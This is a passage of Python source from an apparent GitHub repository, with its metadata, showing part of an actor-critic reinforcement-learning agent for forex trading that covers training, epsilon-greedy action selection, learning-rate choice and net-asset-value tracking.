#print(np.array(inp).shape)\r\n            #print(actor_output_data)\r\n            self.critic.fit(np.array(critic_inp),np.array(critic_out),batch_size = 25,epochs = 1, verbose = 1)\r\n            self.actor.fit(np.squeeze(np.array(actor_inp),axis=1),actor_output_data,batch_size = 25,epochs = 1, verbose = 1)\r\n        print('AC End')\r\n        print(datetime.datetime.now())\r\n        print('##############################')\r\n        \r\n        \r\n    def runmodel(self):\r\n        #random.seed(self.mid)\r\n        print('\\n')\r\n        print('###################################################################################')\r\n        print(self.modtype)\r\n        print('Id : ',self.id)\r\n        print('Epsilon :',self.epsilon)\r\n        print(datetime.datetime.now())\r\n        \r\n        #print('\\n')\r\n        #print('-',end=' ')\r\n        #print(self.layerlist,self.complexity,self.complex_num)\r\n        \r\n        print('###################')\r\n        print('Single')\r\n        print('Learning Rate :',K.get_value(self.actor.optimizer.lr))\r\n        print('###################')\r\n        \r\n        \r\n        \r\n        self.forexenv()\r\n        self.modelstate()\r\n        self.forexreward()\r\n        if self.sel_action[0] == 0:\r\n            self.reward -= 0.1\r\n        self.forexstate()\r\n        self.mem_create()\r\n        self.model_analytics()\r\n        print('###################')\r\n        print('State loaded')\r\n        print(datetime.datetime.now())\r\n        print('###################')\r\n        #print(self.mem_transact)\r\n        print(self.reward,self.reward_punish)\r\n        if self.reward > 0:\r\n            self.reward_punish[0] += abs(self.reward)\r\n        else:\r\n            self.reward_punish[1] += abs(self.reward)\r\n            \r\n        self.actor_state,self.actor_new_state = self.input_create(self.actor_new_state)\r\n        #print(self.new_state)\r\n        if isinstance(self.actor_state,list):\r\n            self.actor_envlist.append([self.actor_state,self.sel_action])\r\n        else:\r\n            if self.actor_state is not None:\r\n                self.actor_envlist.append([self.actor_state,self.sel_action])\r\n            else:\r\n                self.actor_envlist.append([self.actor_state,self.sel_action])\r\n        \r\n        self.critic_state,self.critic_new_state = self.input_create(self.critic_new_state,False)\r\n        #print(self.new_state)\r\n        if isinstance(self.critic_state,list):\r\n            self.critic_envlist.append([self.critic_state,self.sel_action,self.reward,self.critic_new_state,self.game_over])\r\n        else:\r\n            if self.critic_state is not None:\r\n                self.critic_envlist.append([np.ravel(self.critic_state),self.sel_action,self.reward,np.ravel(self.critic_new_state),self.game_over])\r\n            else:\r\n                self.critic_envlist.append([self.critic_state,self.sel_action,self.reward,self.critic_new_state,self.game_over])\r\n        \r\n        print('Length of Env List %i'%len(self.actor_envlist))\r\n        if isinstance(self.actor_envlist[0],list):\r\n            \r\n            if len(self.actor_envlist) > 2:\r\n                \r\n                if (len(self.actor_envlist)%self.q_freq) == 0:\r\n                    print('Actor Critic call')\r\n                    #print(self.actor_envlist)\r\n                    #print(self.critic_envlist)\r\n                    self.ac_learning()\r\n                \r\n                if len(self.actor_envlist)>self.buffer_length:\r\n                    del self.actor_envlist[0]\r\n                if len(self.critic_envlist)>self.buffer_length:\r\n                    del self.critic_envlist[0]\r\n        #print(self.new_state)\r\n        self.action = self.actor.predict(self.actor_new_state)\r\n        self.action = [np.ravel(item) for item in self.action]\r\n        #critic_act = self.critic.predict(self.critic_new_state)\r\n        print('Action \\n',self.action)\r\n        # Epsilon Greedy\r\n        if random.random() >= self.epsilon:\r\n            print('Greedy Action')\r\n            self.sel_action[0] = np.argmax(np.ravel(self.action[0]))\r\n            self.sel_action[1] = np.argmax(np.ravel(self.action[1]))\r\n            self.units = self.unit_list[self.sel_action[1]]\r\n            self.random_desc[1] += 1\r\n            self.problist.append(np.ravel(self.action[0])[self.sel_action[0]]*100)\r\n            self.actlist.append(self.sel_action[0])\r\n            \r\n            if self.modtype.split('-')[0] == '2':\r\n                self.sel_action[2] = np.argmax(np.ravel(self.action[2]))\r\n                self.sel_action[3] = np.argmax(np.ravel(self.action[3]))\r\n                \r\n                self.epsilon = self.epsilon_list[self.sel_action[2]]\r\n                self.lrate = self.lrate_list[self.sel_action[3]]\r\n                \r\n        else:\r\n            print('Non Greedy Action')\r\n            self.random_desc[0] += 1\r\n            #self.sel_action = random.randrange(len(self.action))\r\n            print(self.move_counter)\r\n            prob_m = 1 - self.move_counter/np.sum(self.move_counter)\r\n            prob_m = prob_m/np.sum(prob_m)\r\n            print(prob_m)\r\n            self.sel_action[0] = np.random.choice(self.moves,1,p=prob_m)[0]\r\n            self.problist.append(prob_m[self.sel_action[0]]*100)\r\n            self.actlist.append(self.sel_action[0])\r\n            print(self.unit_desc)\r\n            prob_u = 1 - self.unit_desc/np.sum(self.unit_desc)\r\n            prob_u = prob_u/np.sum(prob_u)\r\n            print(prob_u)\r\n            self.sel_action[1] = np.random.choice(np.arange(len(self.unit_list)),1,p=prob_u)[0]\r\n            \r\n            if self.modtype.split('-')[0] == '2':\r\n                print(self.random_desc)\r\n                prob_e = 1 - self.random_desc/np.sum(self.random_desc)\r\n                prob_e = prob_e/np.sum(prob_e)\r\n                print(prob_e)\r\n                self.sel_action[2] = np.random.choice(np.arange(2),1,p=prob_e)[0]\r\n                \r\n                print(self.lrate_desc)\r\n                prob_l = 1 - self.lrate_desc/np.sum(self.lrate_desc)\r\n                prob_l = prob_l/np.sum(prob_l)\r\n                print(prob_l)\r\n                self.sel_action[3] = np.random.choice(np.arange(len(self.lrate_list)),1,p=prob_l)[0]\r\n            \r\n        self.units = self.unit_list[self.sel_action[1]]\r\n        self.move_counter[self.sel_action[0]] += 1\r\n        self.unit_desc[self.sel_action[1]] += 1\r\n        self.unit_in.fill(0)\r\n        self.unit_in[self.sel_action[1]] = 1\r\n        \r\n        if self.modtype.split('-')[0] == '2':\r\n            self.epsilon = self.epsilon_list[self.sel_action[2]]\r\n            self.lrate = self.lrate_list[self.sel_action[3]]\r\n            K.set_value(self.actor.optimizer.lr, self.lrate)\r\n            self.lrate_desc[self.sel_action[3]] += 1\r\n                   \r\n            self.epsilon_in.fill(0)\r\n            self.lrate_in.fill(0)\r\n                   \r\n            self.epsilon_in[self.sel_action[2]] = 1\r\n            self.lrate_in[self.sel_action[3]] = 1\r\n        print('Action Selection : %i Units Selection : %i'%(self.sel_action[0],self.sel_action[1]))\r\n        #print('-',end=' ')\r\n        \r\n        if self.sel_action[0] == 0:\r\n            #self.variable_cost = 0.0\r\n            print('None action chosen')\r\n        else:\r\n            self.output_create()\r\n        \r\n        print(self.nav)\r\n        #print('-',end=' ')\r\n        self.navlist.append(self.nav)\r\n        self.datelist.append(datetime.datetime.utcnow())\r\n        self.lastnavs.append(self.nav)\r\n        \r\n        self.levellist.append(self.level)\r\n        \r\n        #self.fixed += self.fixed_cost + self.units*self.variable_cost\r\n        if len(self.navlist) > 5000:\r\n            del self.navlist[0]\r\n            del self.datelist[0]\r\n            del self.levellist[0]\r\n        if len(self.lastnavs) > 5:\r\n            del self.lastnavs[0]\r\n        if self.diff_acc:\r\n            pass\r\n            \r\n        else:\r\n            ForexPrime.same_acc_navlist.append(self.nav)\r\n            ForexPrime.same_datelist.append(datetime.datetime.utcnow())\r\n        '''\r\n        if len(self.navlist) >= 3:\r\n            diff1 =  self.navlist[-1] - self.navlist[-2]\r\n            diff2 =  self.navlist[-2] - self.navlist[-3]\r\n            try:\r\n                ratio = np.log(abs(diff1/diff2))\r\n            except :\r\n                ratio = 1\r\n            print(ratio)\r\n            if ratio >= -0.1 and ratio <= 0.1:\r\n                print('Between -0.1 and 0.1')\r\n                self.epsilon += ratio/10\r\n                K.set_value(self.model.optimizer.lr, 10 * K.get_value(self.model.optimizer.lr))\r\n                if self.modtype.split('-')[0] == '2':\r\n                    K.set_value(self.model_twin.optimizer.lr, 10 * K.get_value(self.model_twin.optimizer.lr))\r\n            else:\r\n                print('Not in Between -0.1 and 0.1')\r\n                self.epsilon += ratio/1000\r\n                K.set_value(self.model.optimizer.lr, 0.1 * K.get_value(self.model.optimizer.lr))\r\n                if self.modtype.split('-')[0] == '2':\r\n                    K.set_value(self.model_twin.optimizer.lr, 0.1 * K.get_value(self.model_twin.optimizer.lr))\r\n\r\n        if K.get_value(self.model.optimizer.lr) > 10:\r\n            K.set_value(self.model.optimizer.lr, 10)\r\n        if K.get_value(self.model.optimizer.lr) < 0.001:\r\n            K.set_value(self.model.optimizer.lr, 0.001)\r\n        \r\n        if self.modtype.split('-')[0] == '2':\r\n            if K.get_value(self.model_twin.optimizer.lr) > 10:\r\n                K.set_value(self.model_twin.optimizer.lr, 10)\r\n            if K.get_value(self.model_twin.optimizer.lr) < 0.001:\r\n                K.set_value(self.model_twin.optimizer.lr, 0.001)\r\n        \r\n        if self.epsilon >= 0.5:\r\n            self.epsilon = 0.5\r\n        \r\n        if self.epsilon <= 0.2:\r\n            self.epsilon = 0.2\r\n        '''\r\n        if self.game_over:\r\n            #print(self.game_over)\r\n            print('########################')\r\n            print('Game Over')\r\n            print('########################')\r\n            self.transaction_counter = 0\r\n            self.closeAll()\r\n            self.nav = self.trader.get_nav()['nav']\r\n            self.lastnavs = [0,0,0,0,self.funds]\r\n            self.fixed = self.nav - self.funds\r\n            self.nav = self.funds\r\n            if self.success:\r\n                self.success_fail[0] += 1\r\n            else:\r\n                self.success_fail[1] += 1\r\n            self.game_over = False\r\n            self.success = False\r\n            '''\r\n            ldiv = max(min(self.level,10),1)\r\n            \r\n            if self.success_fail[0] > (10//ldiv):\r\n                self.level += 1\r\n                self.success_fail = np.zeros((2)) + 1\r\n            if self.success_fail[1] > (20//ldiv):\r\n                self.level -= 1\r\n                self.success_fail = np.zeros((2)) + 1\r\n            if self.level < 1:\r\n                self.level = 1\r\n            '''\r\n        else:\r\n            #print(self.game_over)\r\n            print('########################')\r\n            print('Currently Active')\r\n            print('########################')\r\n            \r\n            #print('-',end=' ')\r\n", "repo_name": "JianJi2985/RL", "sub_path": "forexTrader.py", "file_name": "forexTrader.py", "file_ext": "py", "file_size_in_byte": 55234, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "numpy.zeros", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 45, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 74, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 92, "usage_type": "call"}, {"api_name": "numpy.var", "line_number": 106, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 106, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 115, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 118, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 135, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 136, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 136, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 151, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 152, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 157, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 235, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 275, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 293, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 297, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 332, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 332, "usage_type": "call"}, {"api_name": "numpy.divide", "line_number": 365, "usage_type": "call"}, {"api_name": "numpy.divide", "line_number": 371, "usage_type": "call"}, {"api_name": "numpy.divide", "line_number": 395, "usage_type": "call"}, {"api_name": "numpy.divide", "line_number": 401, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 476, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 478, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 482, "usage_type": "call"}, {"api_name": "keras.models.load_model", "line_number": 487, "usage_type": "call"}, {"api_name": "keras.models.load_model", "line_number": 489, "usage_type": "call"}, {"api_name": "keras.backend.get_value", "line_number": 490, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 490, "usage_type": "name"}, {"api_name": "os.path.path.isfile", "line_number": 500, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 500, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 500, "usage_type": "name"}, {"api_name": "json.load", "line_number": 502, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 506, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 507, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 508, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 509, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 510, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 511, "usage_type": "call"}, {"api_name": "os.path.path.isfile", "line_number": 517, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 517, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 517, "usage_type": "name"}, {"api_name": "pickle.load", "line_number": 519, "usage_type": "call"}, {"api_name": "os.path.path.isfile", "line_number": 520, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 520, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 520, "usage_type": "name"}, {"api_name": "pickle.load", "line_number": 522, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 534, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 534, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 535, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 535, "usage_type": "attribute"}, {"api_name": "numpy.concatenate", "line_number": 542, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 544, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 546, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 548, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 554, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 556, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 558, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 560, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 566, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 568, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 570, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 572, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 577, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 579, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 581, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 583, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 589, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 591, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 593, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 595, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 600, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 602, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 604, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 606, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 611, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 613, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 615, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 617, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 622, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 624, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 626, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 628, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 634, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 636, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 638, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 640, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 645, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 647, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 649, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 651, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 662, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 664, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 666, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 674, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 674, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 677, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 677, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 687, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 689, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 691, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 696, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 696, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 699, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 699, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 704, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 704, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 715, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 715, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 777, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 777, "usage_type": "attribute"}, {"api_name": "numpy.random.randint", "line_number": 781, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 781, "usage_type": "attribute"}, {"api_name": "numpy.arange", "line_number": 783, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 789, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 789, "usage_type": "attribute"}, {"api_name": "numpy.ravel", "line_number": 804, "usage_type": "call"}, {"api_name": "numpy.ravel", "line_number": 805, "usage_type": "call"}, {"api_name": "numpy.ravel", "line_number": 808, "usage_type": "call"}, {"api_name": "numpy.ravel", "line_number": 812, "usage_type": "call"}, {"api_name": "numpy.ravel", "line_number": 813, "usage_type": "call"}, {"api_name": "numpy.ravel", "line_number": 816, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 832, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 843, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 847, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 850, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 855, "usage_type": "call"}, {"api_name": "numpy.squeeze", "line_number": 856, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 856, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 858, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 858, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 869, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 869, "usage_type": "attribute"}, {"api_name": "keras.backend.get_value", "line_number": 877, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 877, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 892, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 892, "usage_type": "attribute"}, {"api_name": "numpy.ravel", "line_number": 917, "usage_type": "call"}, {"api_name": "numpy.ravel", "line_number": 938, "usage_type": "call"}, {"api_name": "random.random", "line_number": 942, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 944, "usage_type": "call"}, {"api_name": "numpy.ravel", "line_number": 944, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 945, "usage_type": "call"}, {"api_name": "numpy.ravel", "line_number": 945, "usage_type": "call"}, {"api_name": "numpy.ravel", "line_number": 948, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 952, "usage_type": "call"}, {"api_name": "numpy.ravel", "line_number": 952, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 953, "usage_type": "call"}, {"api_name": "numpy.ravel", "line_number": 953, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 963, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 964, "usage_type": "call"}, {"api_name": "numpy.random.choice", "line_number": 966, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 966, "usage_type": "attribute"}, {"api_name": "numpy.sum", "line_number": 970, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 971, "usage_type": "call"}, {"api_name": "numpy.random.choice", "line_number": 973, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 973, "usage_type": "attribute"}, {"api_name": "numpy.arange", "line_number": 973, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 977, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 978, "usage_type": "call"}, {"api_name": "numpy.random.choice", "line_number": 980, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 980, "usage_type": "attribute"}, {"api_name": "numpy.arange", "line_number": 980, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 983, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 984, "usage_type": "call"}, {"api_name": "numpy.random.choice", "line_number": 986, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 986, "usage_type": "attribute"}, {"api_name": "numpy.arange", "line_number": 986, "usage_type": "call"}, {"api_name": "keras.backend.set_value", "line_number": 997, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 997, "usage_type": "name"}, {"api_name": "datetime.datetime.utcnow", "line_number": 1017, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 1017, "usage_type": "attribute"}, {"api_name": "datetime.datetime.utcnow", "line_number": 1034, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 1034, "usage_type": "attribute"}]}
